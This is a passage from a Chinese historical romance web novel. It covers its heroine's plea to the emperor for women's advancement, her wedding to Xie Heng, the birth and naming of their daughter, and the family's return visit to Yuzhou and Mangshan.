“陛下,您可还记得,当日宫变救驾,我手中没有一兵一卒,是莽山随我入京的五百姑娘挺身而出,随我杀进宫中,若没有她们相随,当日险境,恐怕不会那样轻而易举化解掉,我今日入宫,也是想为她们讨个封赏。” 跟她的女儿身份一样,萧瑞也很难适应她对着自己说话,一口一个尊称,不过君臣有别,他总是要去习惯的。 “当然记得,那日所有的有功之士,都不同程度进行了封赏,这五百女子,身先士卒,立了首功,朕也琢磨了好些日子,想到她们已在京中落了女户,那就多赏赐些金银珠宝,保她们一生富贵无忧,大……长姐以为如何?” 沈青每次一听到这个“大”字她就头疼,不是怕他喊大哥,是不想听他哪天脱口喊出一句“大姐”。 也不知为何,同样的称呼,“大哥”就很好听,“大姐”就哪哪都奇怪。 这大概就是男女之别的体现吧,一如这些莽山的女匪们。 “不知陛下是否还记得,我们落草莽山,接受朝廷招安的时候,莽山上万兄弟,就地从匪身变为官军,唯独只剩了那五百女匪无法从军。大家同在莽山,那五百女匪与其他兄弟最大的区别就是她们是女子,也只因为她们是女子,当日所受待遇天差地别也就罢了,如今她们立下功劳远在莽山那些兄弟之上,却依然无法享受莽山兄弟那般待遇。” 萧瑞听得纳罕:“那……长姐的意思是?” “陛下。” 沈青喊了他一句,直接屈膝跪了下来。 萧瑞知道她身子不太舒爽,那经得住她这么一跪,忙伸手去扶,沈青却执拗着没有起身。 他哭笑不得:“长姐,你这是要做什么?你我之间,不必要……” “陛下,”沈青打断他的话:“因为穿上这身男子衣袍,我享受到了绝大多数女子无法享受到的便利,执掌莽山,入朝为官,辅佐君王,是沈青所为,却是身穿罗裙的沈青做不到的。” 萧瑞隐隐知道她接下来要说什么,他并不反对,只是很为难:“可是放眼古今,男子出将入相,女子相夫教子,这才是阴阳平衡之道,若让女子有机会入朝为官……” 他本能要说出“牝鸡司晨”四个字,忽然想到这是朝臣们用来骂沈青的话,终究没有说下去。 沈青反问他:“陛下觉得我的能力是否可以独当一面?那五百女匪的能力是否能与男子媲美?天下不知还有多少能力才华出众的女子,一身才气,被罗裙掩盖。” 说实话,在知道大哥是女子之前,萧瑞从未在这种角度思考过问题,可是沈青将话点破,他也觉得很有道理。 沈青又道:“陛下在莽山多年,见识到朝廷弊政,是因为您身处寒门的位置,所以能看见寒门之苦,最终愿意为寒门出头。而您身为男子,身处在男子的位置,如果见到有男子怀才不遇,必定也会心生不平。” “而臣是女子,身处女子的位置,能看到身为女子的不公不便,太多有才能的女子被埋没,实在痛心疾首。陛下能为天下所有不公鸣不平,也请陛下看到天下女子所遭受的不公。” 萧瑞陷入沉吟之中。 他向来信服大哥,今日这番新鲜言论,是他从未听过的角度,要做一个明君,就是要铲除天下所有不公。 寒门遭受不公,他为寒门不平; 有才能的男子遭受不公,他自然为那样的男子鸣不平; 说起来,莽山那五百女匪,功劳远胜于其他男子组成的禁军亲兵,立下大功却仅仅因为身为女子而不能受到封赏,确实也是不公。 虽然没有女子入仕从军的先例,但凡他敢开这样的先例……会有前所未有的阻碍和变数,但于后世而言,也一定会是一个史书工笔无法回避的一笔。 “此时太过于重大,朕必须慎重考虑,与群臣商议出一个可行的办法,最后能实施到哪一步,朕不敢保证,但朕可以保证,那五百女子,一定会得长姐所愿,得到她们应有的嘉奖。” “臣叩谢陛下。” 得到他的承诺,沈青双手举过头顶,额头触地,郑重地行了一个跪拜之礼。 她知道,要让女子完全享有男子那样的待遇,能读书,能做官,能经商,能完全独立行走于世,这件事太重大了,不是靠她和萧瑞两人之力可以完成的。 因为一旦往这方面发展起来,千百年来天下所有男女夫妻的相处模式都会发生变动,最终会演变成什么样子 ,谁也无法判断。 前些天,她还去看了一眼海棠,海棠肚子已经很大,马上就要临盆。 万千风尘女子中,海棠是有极幸运的机缘,可是也有无数风尘女子,在她看不到的地方,以极为悲惨的方式陨落。 同样,她以一己之力无法拯救天下所有可怜女子。 但只要陛下愿意开这个口子。 有了这个口子,哪怕一开始只有五百个姐妹能做男人做的事情,然后她们会努力向上爬,爬到更高的位置,为其他姐妹开更多的口子进来。 总有一天,这世上所有的位置,寒门和高门各凭本事公平上位,男人和女人也各凭本事公平上位。 当天下高官重位有了一半的女子,女子能看到女子的处境,像海棠那样的可怜女子,自然而然就不会再有了。 也许还要三代,也许五代,或者十代百代后。 第106章 第106章大婚(大结局) 大婚终于如约而至。 因为是尚公主,不必沈青下嫁,她只需凤冠霞帔安坐公主府,等着驸马上门。 谢家的十二箱娶妻聘礼,跟在高头大马的俊逸无双的新郎官身后,浩浩荡荡进了长公主府。 用谢珩的话说,虽然他是尚公主,但是必须给全了娶妻的聘礼,他才能算她的夫君。 沈青欣然收下。 萧瑞后宫还空无一人,这是新帝登基以来,本朝第一件大喜事,借着长公主之喜,冲散了久久盘旋在这个王朝的阴霾,也预示新帝中兴的曙光。 所以礼部将这场婚事操办得格外隆重。 不仅朝中上下要员、皇亲国戚都来参席,连陛下都亲自出宫,屈尊前往长公主府观礼。 沈青也不拘礼法,不坐在新房中待嫁,而是一身凤冠霞帔,举了金丝镶边的团扇,露出一双精致描摹的盈盈眉眼,在厅堂中等候她的新郎。 在一阵隆隆爆竹声和满座宾客的欢呼中,她听到“新郎来了。” 可惜再不拘礼法,她这一身繁复嫁衣拖曳,也不方便她现在提着裙摆跑出去一睹新郎的风姿。 不过她能想象出,颜色似火的新郎衣袍,更能衬出谢珩容色如玉,他颀长笔挺的身子坐在高大的骏马上,该是多么风姿倾城啊。 这样芝兰玉树的翩翩君子,正要赶过来给她做夫君。 听到门外略显急促的脚步和阵阵笑闹,她居然有点紧张起来。 真是奇怪,明明两人昨天夜里才分开,明明肚子里娃儿都有了,她怎么有种这还是此生第一次与自己夫君相见的错觉? 她指尖捏着团扇玉柄,指节竟微微有些发白。 当谢珩真的一身喜服迈进门槛出现在她眼中时,她原本就跳得有些快的心脏,那一瞬间几乎要从她心口跳了出来。 团扇下,无人发觉到,她呼吸都已经滞住。 面如冠玉,眼似秋波,风姿无二,公子无双。 厅堂中所有一切都黯然失色,她好像回到了初雪絮絮落下小金顶的那一天,冷风凛冽,她掀开覆在他身上的氅衣,那一眼,也让她忘了呼吸。 “沈青。” 谢珩双唇嗫嚅,似有千言万语,最终只是用最温柔的声音喊出她的名字。 他掌心向上,朝她伸出手。 那双星河流转的眸子就是有种令人溺毙到无法自拔的蛊惑力,引着她,一路从小金顶的苍茫天地,走到洛京城里庭院深深。 也引着她,慢慢伸出手,搭在他的掌心,被他温厚的手掌紧紧包裹。 那个初见时清矜冷峻的公子,现在是她的新郎了。 一对新人十指紧扣,宾朋满座见证他们此刻的地老天荒。 吉时到,礼生拖着长长的声音引导两位新人拜堂行礼。 拜过天地与当今圣上,沈家没有高堂,沈青自觉跟谢珩不分娶嫁,于是将谢珩的母亲王氏接了过来。 新人向高堂行过大礼,夫妻对拜时,沈青反倒不紧张了,一切都尘埃落定。 就是全程谢珩捏着她的手,捏得怪紧的,都拜堂了,她都感觉自己在新郎手中像一只纸鸢,仿佛他一松手,她就要飞走一般。 礼成之后,应该是新郎留在外厅招待宾客,新娘就被送进洞房等待,但沈青也不拘这些,宾客中有不少新朋旧友,她也留下来与谢珩同进同出。 新娘子不再团扇遮面,露出那张清绝美艳到极致的容颜,众人方知,世上有人一颦一笑,摄人心魄到令人神魂俱颤。 尤其是她顶着那顶凤冠,张扬华贵,却不喧宾夺主,将她绝色五官衬托得绝美矜艳;那一袭流光似火的嫁衣,将她窈窕玲珑又秀挺颀长的身姿修饰得恰到好处。 这可是当初恶名远扬的悍匪沈青啊! 谁能想到会是眼前这样倾国倾城的新娘子! 再联想到当初谢珩千里迢迢去渝州剿匪,被迫委身匪寨的种种艳趣传闻,到如今眼前这么天造地设的一对…… 实在是佳偶天成。 沈青以水代酒与众宾客喝过几杯,便被谢珩拉去一旁休息,应酬有府上管事,她就跟好友们说说话,顺便拆一拆各类新婚贺礼。 海棠是托人带的礼物,送了一对金童玉女的陶瓷娃娃。 萧瑞送得很霸气,给了她一枚长公主的专属玉章,玉玺之外,这枚玉章所签署批阅的文书奏折,统统奏效。 岳瑛送得就比较实在,请最好的工匠用精铁给她锻造了一把锋利的匕首。 王容送得很合人心意,给了她一本他亲自撰写得密密麻麻的游记注本,天高地阔,无处不是归所。 还有赖三,千里迢迢,跟众兄弟们搜罗了好几车渝州风物特产给她运过来,正放在库中清点。 拆到王意然的贺礼时,王意然正好带着自己夫君笑意盈盈过来贺喜,这下沈青顿时对手上贺礼没有太大兴致了,目光落在王意然和她夫君身上看来看去收不回来。 好般配的一对郎才女貌啊! 王容果然说得没错,这意然姐姐的夫君,与谢珩真是各有千秋,是蓬门里长出来的青松翠竹,难得见到跟谢珩一样养眼的公子,沈青不由得多看了几眼。 王意然笑着打趣:“我一早就觉得你跟珩表哥是天造地设的一对了,没想到你们竟然真成了一对。” 沈青有点纳罕:“……有多早?” “在你还是一个俊秀可爱的小公子的时候。” 沈青不由得脸热:“可我现在是一个女子了。” “那也是天造地设一对,还记不记得我们去不闻大师那里抽的签?珩表哥抽的是佳偶天成,我抽的是郎才女貌,原来是这样实现的。” 想到当日解的那签,确实都应验了,谢珩与她是佳偶天成,意然姐姐与她夫君确果然很郎才女貌。 于是她又忍不住多往两人身上瞟了几眼。 她还觉得自己没多看仔细呢,视线就被一道清俊的身影挡住:“沈青今日有些许疲累,差不多该去歇息了,诸位先失陪了。” “但我没有觉得疲累啊……” “不,你累了。” 沈青闭口不再说话,跟谢珩相处许久,这么点察言观色的本能她还是有的。 众人也知道沈青身子不便,也很识趣,不再多叨扰,长公主府宴席丰盛,丝竹绕梁,不会薄待了客人,新娘子还是先回了洞房。 对于自己的洞房花烛,沈青也很是新奇,这洞房花烛也是礼部的人布置,红罗帐,鸳鸯被,锦被上铺满“早生贵子”寓意的瓜果,床头床尾的高高烛台上,各自点了两根碗口般粗的红烛,正盈盈泣着粉泪,喜庆的房间不自觉多了一点少女怀春的惆怅。 好像是新嫁娘要独自面对夫君时的娇怯忐忑。 可见人真是很容易受环境的影响,她跟谢珩都不知见过多少回了,偏偏今日也不知紧张了多少回。 她坐在房中聊赖地吃了会点心,谢珩自然没让她等太久,安顿好前面的宾客,很快就回了房间。 罗帐之下,新娘子一身嫁衣似火,勾勒出倩影窈窕,明明晃晃的红烛照映在那张如花似玉的容颜上,他顺着烛光,不自觉一遍一遍将那副眉眼五官在心口上镌刻。 今日宴席,他滴酒未沾,此时此刻,他好像醉得神魂颠倒。 这是他的洞房花烛。 新娘子是他心爱之人,此时此刻,永生永世。 因为美好得太过于不真实,他总觉得这就是一场令人不愿醒来的醉生梦死。 “谢珩?” 床头的新娘在轻轻唤他,他这才如梦初醒,这一世无论付出多大的代价,他也不会让这场梦醒来。 “今天有没有哪里不适?” 他在她面前半蹲下身子,细细打量着她的脸色神情。 沈青向来喜欢热闹,这次婚礼虽然仓促,但礼部筹办得很周全,腹中孩子今日也很给面子地安分了一天,一切都称心如意。 “我觉得处处都好,尤其是新郎,我很满意。” 盈盈红烛下,她笑意烂漫 ,像春风轻拂过海棠初绽的枝头,粉面娇靥于枝头轻颤。 他不自觉轻轻点上她的额头,枝头花骨朵儿颤得更厉害了。 “该喝合卺酒了。” 谢珩轻声提议,大概是这红烛有些太晃眼了,两人都微垂着眸子不去看对方,但又很默契地一人取了一瓢酒水,绕过对方手臂,仰头喝了下去。 合卺酒被换成几乎没有酒味的水酒,可是那张俊逸逼人的五官就在咫尺之间,沈青恍然也觉得自己有了微微醉意。 “先歇息吧?” “好。” 她顺从地应下,身前的人抬起手,一点一点将她头上凤冠取下。 “要不让妆娘替我梳洗吧?” “不用,洞房夜理应我来服侍娘子。” 沈青一张小脸瞬间红透。 谢珩替她将繁复鬓发拆下,又用铜盆中的热水将她脸上妆容拭去,直到色转清丽皎然。 然后是嫁衣也被慢慢褪去,换上舒适轻软的中衣。 鸳鸯被里,一双新人相拥而眠。 两人彼此都没有说话,房间里安静得连红烛灯芯跳跃都有了细微的火光声,沈青背靠在谢珩的怀抱里,感受他坚定有力的心跳。 “沈青,拜过堂喝了合卺酒,你该叫我夫君了。” 许久之后,清润的声音在耳边缓缓荡开。 她马上想到刚才他的那一声“娘子”,说实话,是很好听的,尤其这样一个绝色公子这样唤她。 “可是……我有点喊不出口。” 她如实交待。 喊惯了谢珩,哪里喊得出这样酸得牙痒痒的称呼。 “你试一试,好不好?” 他的声音又靠近了一些,带着一点不容置疑的哀求,灼得她耳热。 诶!谁让这是洞房花烛夜呢! 她也不想他留有遗憾,反正背对着他,她深深吸了口气,视死如归。 “夫君。” 很生硬,甚至没什么感情。 脖颈间落下细细密密的温濡,避无可避,要将人彻底融化。 自她查出身孕,谢珩虽然每夜还是搂着她入睡,但从未再有过亲密逾矩的行为,她这一声硬邦邦的“夫君”,好像是火星子坠入干柴中。 他在极力克制自己的燃烧。 “你要不要我帮你?” 沈青转过身,仰头落入一双深眸。 “不必。” 谢珩哑声答她,覆手挡住她那双天真清眸,怎么能用这样纯粹的表情说出这样的虎狼之词? 他另一只手控住怀里的人,不许她再乱动。 静静烛光里,只有两人温度和呼吸在交织。 直到两盏红烛彻底燃尽,烛台上堆砌出层层泪痕。 窗外天光大明,透出贴在窗页上的大红“囍”字。 第107章 后记 第107章 第107章百日宴(后记…… 沈青的身体底子,孕育出一个新生命其实是很大的消耗,尽管谢珩方方面面做了完全的准备,但她到底还是结结实实受了一趟罪。 她知道生孩子会疼,可是她自觉从小到大不知挨过多少刀枪拳脚,难道还比不上那些养尊处优的妇人? 直到生产的时候,果然还是自己太天真了,这生孩子的疼,比她这辈子挨过的所有刀枪拳脚加起来还要疼。 反正她忍了忍了,叫了叫了,从白天到夜黑,最疼的时候,她都恨不得拿把刀来将肚子剖开,自己将孩子取出来算了。 混沌中,她听到了婴孩细弱的啼哭声。 她吊着最后一口气,撑着眼皮想看看自己千辛万苦生出来的孩子是什么模样,模模糊糊映入眼帘的,是一只皱巴巴的红皮小兔子。 她两眼一翻,彻底昏死过去。 苍天,别让她再醒来了! 后来好几天,她断断续续醒了睡,睡了醒,每次醒来塌边入目所见都是谢珩,但她每醒来一次,就看见他唇边的胡茬又深了许多。 难道她生个孩子,还掏空了谢府,让谢珩不得不去街头当流浪汉了? 等她终于有力气嫌弃他的时候,他才终于把自己收拾一番,又重新变回那个清矜如玉的翩翩公子。 那个她只看了一眼的红皮小兔子,也没有那么皱巴巴了,看着倒顺眼了许多。 是一个小小软软的女孩儿,她都不敢怎么用力去抱。 小娃儿大部分时候在睡觉,沈青也大部分时候在睡觉,光是照顾孩子的乳母就有三四个,沈青也顾不上将来孩子会不会跟自己不亲,她确实觉得现在多睡觉养精蓄锐比较重要。 感情嘛,以后是慢慢培养的。 现在只需要孩子醒着的时候,她也醒着的时候,她抱着孩子逗一逗,她觉得这样就很有利于母慈女孝。 等孩子又长了些时日,夫妻俩给孩子起名。 孩子姓“沈”,是两人一早就商量好的。 一来沈青就是想要孩子姓沈,二来也算是进一步消解了谢珩对世家的影响力,让世家与寒门之间的隔阂彻底消除。 何况伴君如伴虎,让萧瑞彻底放下心来,于他们一家人也有利。 孩子姓什么定下来了,叫什么名字就得好好想想了。 沈青想到自己毕竟在莽山生活多年:“孩子的名字里,应该有个‘莽’字?” 谢珩那张俊脸沉了下来。 然后沈青一拍大腿:“我觉得就叫沈莽姑,读起来很朗朗上口,你觉得怎么样?” 谢珩那张俊脸黑了又黑。 孩子姓沈,他心中毫无芥蒂,但是叫“莽姑”,他很想跟沈青拼命。 比不上自己夫君念书多,沈青最后痛失给孩子取名字的资格。 谢珩很郑重地给女儿起名“沈漱璋”,小字“清雪”。 本来孩子是要办满月酒,但谢珩怜惜沈青还需休养,女儿又太小,终于推到百日。 萧瑞重视这个姑娘,不仅在清雪出生不久后,就封了县主,孩子的百日宴,也是直接设在宫廷,宴请群臣。 长到百日的清雪,倒是人如其名,冰雪可爱极了,还很会长,完全结合父母双方的优点来长。 沈青越看越庆幸,果然生孩子就要找俊俏的父亲啊,等女儿出落得倾国倾城,一定会感谢她当年为她选父亲的眼光。 百日宴的时候,王容心直口快,还挺难以置信:“这孩子真的姓沈吗?” 沈青也很难以置信:“从我肚子里辛苦生出来的啊。” 这么天经地义的事,也不知是哪位先人定了个相反的规矩,竟代代流传至今,她又不认识那位先人,干嘛要遵循别人定下的规矩? 众人眼神纷纷转移到谢珩身上。 谢珩一如既往清浅淡定:“不姓谢,难道就不是我的骨肉了吗?” 众人眼神顿时高深莫测起来。 他难得地哭笑不得:“我非常确定。” 最后大家看向襁褓里玉雪可爱的清雪。 啧啧,想不确定都很难。 108、第108章 景则三年,也就是萧瑞登基的第三个年头,朝堂安稳,大渝上下重新焕发出枯木生春的欣欣向荣。 一切都在往沈青和谢珩最初构想的方向发展,不过最近,朝堂中也起了一些波澜,随着时间的发酵,愈演愈烈起来。 当年陛下登基尚还年轻,可是现在陛下已经登基三年,后宫也整整空了三年,不说中宫皇后,六宫妃嫔,连随身近侍的美人也没有一个。每每有大臣议谏到此事,萧瑞也只是以国事繁忙为由打发掉了。 虽然近年寒门与高门之间的隔阂渐渐消除,但也总难免会有人盯着后宫,尤其是母仪天下的女子,将是出自于哪家女子。萧瑞的选择稍有不慎,很可能会再度打破眼前这好不容易换来的平衡。 在萧瑞那里屡屡碰壁后,宸阳长公主府的门庭就开始热闹起来,总是会有人旁敲侧击来沈青这里打探萧瑞的心意,或者三番五次想举荐一些可以选入后宫的姑娘。 沈青实在不堪其扰,决定带着一家人出门避暑。 清雪快要三岁了,可是试着带她出远门看看,沈青斟酌一番,终于还是跟谢珩开口,她想回莽山,回小金顶去看看。 但是现在要出个远门,实在很难跨上马背来去自如。 毕竟要拖家带口,带着一个绝色公子,再带一个玉雪可爱的小娃娃,也太累赘了。 主要她现在还有了长公主之尊,长途出行要上报朝廷,然后地方州县也要层层报备,长公主所经之处,要保证公主的安全和食宿妥当。 这哪是游山玩水,分明就是替萧瑞去巡视天下的! 好在谢珩不用她操心,在她提出想回莽山看看这个想法的第三天,朝廷所有文书通牒都准备完备,前往莽山的马车和车队已经在府院候着,侍卫随从,奶娘嬷嬷,一应俱全,方便长公主随时出行。 除了他们一家三口,沈青还带了谢珩的母亲,谢夫人久居深宅,也该趁这机会,用大好河山的灵气来浸润她那支妙笔。 本来她还想带上岳瑛一起,不过自从朝廷开了女子可从军入朝的这个口子后,岳瑛继承父亲的遗志,竟然通过了朝廷对女子设立的种种严苛考核,在当年岳闻渊任职的户部,做了一个小小女史。 官职虽小,但她却尽职尽责,哪怕是家中变故前,在闺中过着养尊处优的生活,她也从未感到过像此时这般满足安定。 既然岳瑛公务在身,沈青只好带着一家四口浩浩荡荡往西南而去。 清雪虽然五官眉眼与父亲更加相像,但是神韵性格,或许更像母亲一些。一出了四四方方的高阁大院,出了熙熙攘攘的繁华洛京,小小娃儿浑然不觉长途跋涉的辛苦,精神头比在府上不知好多少,非要时时掀着帘子往外瞧,一双乌黑的眼睛滴溜溜的,跟她母亲简直如出一辙。 车队往渝州方向行了两三日,彻底出了洛京范围,谢夫人提出她要单独出行。 搞得沈青好一阵摸不着头脑:“母亲,我应该没有哪里表现出对你不满吧?” 她心直口快,这在别人看来,岂不是她这个长公主容不下婆母?一家人出行,把婆母撂半路自己走。 谢夫人粲然一笑 “你们小夫妻游山玩水,我一路跟着有什么看头?这次我想按自己的方向去走一走,然后去画一些我自己想画的山川草木。” 其实沈青有点遗憾,说实话,她还挺想带谢夫人去小金顶看看,那里不仅是她和谢珩开始的地方,更重要的是,她觉得那里的山川风物,很值得被世间丹青妙笔所记录。 谢夫人看出儿媳的心思,出声解释道:“反正我出门游历也不限时间,我就边走边看,总有一天,我会要去小金顶看看的。” 沈青再无话可说,给她拨了些人马贴身守卫照料着。 她听谢珩说过,谢夫人闺名中有一个“桐”字,而“桐”有丧偶的寓意,恰好谢珩父亲早逝,没有夫君庇佑,即便她出身权势滔天的王家,因为这个名字,这一生都不知受了夫家多少责难和委屈。 所以她夸她名字好听时,她会露出那样复杂的神情。 亦是因为朝廷开了女子可以做官为政的口子,这三年来,从最开始五百入宫护驾的女匪,到现在,无论在朝在野,抛头露面的女子越来越多,像谢夫人这种大户人家的女子,一生从闺阁绣楼到深宅大院,终于也可以按照自己的意愿,用脚步丈量天下的山山水水。 这么看来,沈青自觉很有成就感。 暂别了谢夫人,他们一家三口继续往渝州方向而去,目中所见,平缓的原地渐渐起伏,再到一座座崇山峻岭拔地而起,终于在立夏之后,抵达渝州。 长公主的仪仗还未见清乐城,就见城外银甲长枪的将士们列出一道道整齐的队伍,用最高军礼仪式,声势浩大地迎长公主进城。 沈青掀起车帘,随着马车的行进,她的目光缓缓从这些将士们脸上扫过。 有一些是似曾相识的面容,有一些是完全素未谋面的陌生,但无一例外,每一个人都振奋昂扬,英姿勃发。 渝州刺史谢瑜和威远大将军赖三亲自在城门口迎接长公主。 “老大…等沈青刚下了马车,赖三堂堂一个八尺男二,几乎要落下泪来,再看她这一身钗环富贵,绿裙娇俏,意识到自己失言,忙单膝跪下:“微臣参见宸阳长公主!”他身后另外几个亲随的兄弟,盯着沈青,一面热泪盈眶,一面呆若木鸡,也终于反应过来,纷纷跪下行礼。一别好几年,谁能想到,当年带他们喝酒吃肉杀人放火的大哥,在渝州地界令人最闻风丧胆的坐地一只虎,怎么就变成了眼前这样一个风华绝代的倾城佳人?好歹赖三在新帝登基后,入京叙过一次职,冲击不会那么大,但是对莽山旧识的兄弟而言,虽然早知道他们的大哥是女儿身,但远不及现在亲眼所见这样冲击大。尤其是他们身穿罗裙的大哥身后,长身玉立的翩翩公子,正是当年他们莽山的死对头。 噢,他怀里还抱了一个小小奶娃,不就是跟他一个模子刻出来的吗? 那小奶娃面对万军肃穆的场景,竟然一点也没有被震慑的怯意,反而努力将脖子伸出爹爹的肩背,咿咿呀呀:“打架……打……. 那小神气机灵的劲儿,简直跟他们老大如出一辙。 总之……即便亲眼所见,还是觉得一切太过于荒谬。 沈青一看到这些莽山旧时的兄弟,就忍不住哈哈大笑:“行了,我们兄弟之间拘什么礼,好酒好肉都准备好了吧?今天晚上大家一起,一醉方休!”她说话的语调一出来,众兄弟微微松了口气,这的的确确还是他们的大哥。 清雪扭过头来向她父亲学舌:“好酒,好肉,醉醉……” 谢珩默默捏了捏她的小手:“今晚你要乖一些,早早睡觉。” 虽然清雪快三岁了,但他是绝对不敢让孩子看到沈青的醉态,以免给她的人生留下什么不可磨灭的阴影。 清乐城郊军营中夜夜篝火酒肉,连续三四天没有断绝。 为了不让兄弟们拘谨,沈青特地换了青色的窄袖长袍,束了高高发髻,当下许多抛头露面的女子,都爱这样利落简单的打扮。 兄弟们也很快适应沈青的新身份,仿佛又回到曾经小金顶把酒言欢的岁月。 沈青觉得很神奇,她明明记得前一晚正坐在篝火边,拉着某位兄弟的衣袖叽里呱啦忆当年,第二日醒来,却是躺在柔软的床榻上,身畔公子如玉,亦如当年。她悄悄观摩着他,见他神色清浅平静,举止温厚,就知自己昨晚应该没有做出什么惊世骇俗的举动,于是放放心心去逗弄还没醒来的小清雪。 “你再喝一碗醒酒汤。” “我酒早就醒了!不是,我根本没醉啊。” 近年来喝酒,都是谢珩精心准备的美酒佳酿,虽然宿醉忘事,但再也不会宿醉头疼反胃了。 谢珩无奈,一碗醒酒汤已经递到面前:“小孩子对气味敏感,还是别刺激到她了吧?” 沈青望着那一碗黑黢黢的醒酒汤,一下子气性就上来了:“这么小小年纪,正是培养酒量的好时候,一点酒味都不能闻,怎么做我女儿?” 谢珩不语,只捧着那碗醒酒汤递在她面前,目光温和如水,却让人无从抗拒。 她偏不理他,将头撇向另一边。 “阿爹,阿娘,你们都在呀。” 睡在小小木床上的沈清雪不知何止滴溜溜地睁着一双眼睛,干干净净望着站在床前的两个人,那眼睛好像被雨水洗涤过一般,清澈明净得一丝杂质都没有。 “你们刚刚在吵架吗?” 小娃儿好奇发问,即便是吵架,在她眼中好像也不是什么特别了不得的事情。 沈青赶紧接过眼前的醒酒汤,仰头一饮而尽。 腾出手来的谢珩俯身将清雪抱起来,低头哄她:“因为你阿娘不听话,总是让爹爹操心,你以后干万不能学,不然爹爹头发都要急白了。”“我不要爹爹头发变白,我以后一定乖乖听爹爹的话。” 沈青:“???”要不是有了这个小兔崽子,她大早上需要喝醒酒汤?虽然她心里头将这对父女痛骂了八百遍,但脸上还是笑意温柔慈祥:“那清雪以后听不听阿娘的话?”小清雪仰着脑袋想了会,全然忘记刚才谢珩跟她说过的话:“清雪要听阿娘的话。”沈青不由得朝谢珩挑了挑眉,初夏的晨曦透过窗幔照进房间,房中的一家三口,父亲抱着女儿,妻子牵着夫君。院外,榴花明艳似火,正好透向疏窗明纱。 * 在驻军营中连续喝了好几日酒后,沈青暂时消停下来,无事的时候就与谢珩在清乐城闲逛。 在渝州数年,她最熟悉的城镇自然是清乐城,这是渝州首府,刺史府所在之地。 她跟这里的官兵打了太多年交道,那十多年来,每一任刺史,每一任驻军的首领,每一个重要位置的官员,她都了如指掌。 但其实下了莽山,她也以寻常百姓的身份,在人来人往中来来去去。 她在这里,喝过各种各样的酒,品过形形色色的佳肴;她的衣裳,都是清乐城的裁缝为她裁制的;岳瑛的胭脂水粉,是她们俩兴致勃勃在胭脂铺子里精挑细选的。那些酿酒的人,掌勺的人,裁剪衣裳的人,制作胭脂的人,沿街一路走来,依然可以看见他们熟悉的身影,日复一日做着同样的劳作。 她还认得他们,但他们肯定无法认出她了。 故地重游,她能回到旧时的一砖一木中去,站在旧日的街道,但永远也回不去旧日的时光了。 她再也不是沈府养尊处优的三小姐; 再也不是莽山令人闻风丧胆的悍匪沈青; 她现在是宸阳长公主。 人生如寄,何尝不是一直在跟过去的自己告别呢? 不知不觉,两人走到一处酒楼,檐下酒旗招展,厅内桌木华贵整齐,这是她曾经在清乐城吃不起的酒家,托谢珩的福,她总算在离开渝州前,去吃过两顿。 第一顿是他借故在这里跟鸣山取得联系,第二顿是在这里借她的手铲除刺史府的内奸。 这么看来,这两顿佳肴的代价还真不小。 见她脸色微沉下来,谢珩居然还在一旁笑意清浅,发出诚挚邀请:“要不要进去吃点东西?” “当然,几年没回来了,必须在这里大吃一顿。” 她已经为那两顿饭付出沉重代价,既然又回来了,不狠狠把谢珩身上的银子吃掉一些,那才叫亏大了。 进了清乐酒家,不用再顾忌银钱的事,可算是大快朵颐了一番。 几乎是撑到扶墙了才重新出门,她还特别贴心给沈清雪也带了些新鲜好吃的佳肴回去。 “你这悍匪沈青!看你这下还往哪里逃!” 刚下台阶,沈青就听见一道稚嫩的声音正大吼她的名字,她顿时站住,眼睁睁看着一个小男孩手里举了一根木剑,哼哧哼哧从她眼前跑过。 沿街有几个小孩在打闹。 这时一个穿着青色衣裳头顶扎了两只小辫角的小女孩冲出来:“原来你就是谢珩!尽管放马过来!我才不怕你!”这时谢珩和沈青双双顿住,都立在台阶前,愣愣地欣赏着这群孩子的表演。 “小沈青”和“小谢珩”两个小人儿,一人举了一只小木剑,在空中打得有来有回。 看得沈青啧了一声,眉头直皱:“我简直无法想象,我和你一人拿一支剑打起架来,会是什么场景。” 说来也是神奇,当年她跟谢珩虽然斗得你死我活,但好像真的没有直接刀剑相向过? 谢珩如实答她:“我自然是打不过你的。” 话音刚落,沈青还没来得及嘲讽几句,就听见“哐当”一声,“小沈青”的木剑被打落在地。 “小谢珩”得意洋洋:“哈哈,被我打败了吧!你这悍匪,快点给哥哥我投降!” 沈青傻眼:“现在渝州城的小孩是这么编排这个故事的吗?短短三年,我在他们眼里就这么弱了吗?” 不是说渝州城的孩子,听到她名字都要半夜尿裤子的程度吗? 谢珩也无奈:“我应该…也不是这样的吧?” “小沈青”坐在地上呜呜哭了起来,旁边的小伙伴也纷纷冲上来指责:“不是这样的!谢珩以后要讨沈青做老婆的,不可以让沈青哭!” “不是的,你们都不知道!沈青是公主,最大的公主,谢珩要跪在她面前的!” “小谢珩”见“小沈青”哭得厉害,脸上的得意顿时消失,像犯了什么大错一样,将木剑交给“小沈青”:“你不要哭了,刚刚是我不对,我以后也讨你做老婆好不好?”“小沈青”迷茫地仰起挂满泪花的小脸:“讨老婆是什么意思?” “小谢珩”茫然地摇了摇头:“我也不太知道,应该就是我们可以一起玩,一直玩到长大也一起玩的意思。” “小沈青”破涕为笑:“好,那你讨我做老婆,我也讨你做老婆。” 沈青这下也不顾上他们这故事编排得有没有彰显出她的英雄气概,早就在台阶上笑得前俯后仰。初夏的风裹挟了一点炎热的前兆,轻轻掠过她额前碎发,谢珩侧目见她笑意明媚,目光微涌。想到他与沈青在这些孩童的年纪,两人都居住在洛京,不过是隔了两条街,却没有这份青梅竹马的缘分。如果时光能够让他回到过去,他与沈青的相逢,一定会更早……更早一些。 “沈青。”他突然喊住她。 “不如,我们明天就上小金顶吧。”沈青闻言,笑意收敛起来,他忙又补充道:“这几日清雪精神很好,让她去小金顶玩几天,她一定会喜欢的。”他看得出,来渝州这么些天了,她只在清乐城里晃悠,却一直没有提起去小金顶的事。小金顶在她心里,份量实在太重了,甚至比洛京中的沈府还要重要,她这次回来,明明已经在莽山之下,因着一份近乡情怯的情绪,竟然一直不敢再上小金顶。害怕小金顶变得面目全非,也害怕小金顶一成不变。既然说是要带女儿去,沈青便也没有任何拒绝的理由和余地。 “好,那我们明天就去小金顶。” * 第二日,沈青一家三口,在赖三和亲兵的护送下,前往莽山。 因为莽山群峰陡峭,车马难以上行,所以沈青带着沈清雪,像当年一般,坐着牛车慢慢向山上行进。 但是与当年不同的是,当年渝州匪患横行,远道之人宁可远远绕道,都绝少愿意从莽山行经的,当年的莽山,除了山匪落足,几乎人鸟绝迹。 这是沈青第一次看见莽山境内,竟然有这么多行人车马借道而过,其中不仅有商队,甚至也有独自出行的年轻女子,这要是放在三年前,简直是想都不敢想象的事情。 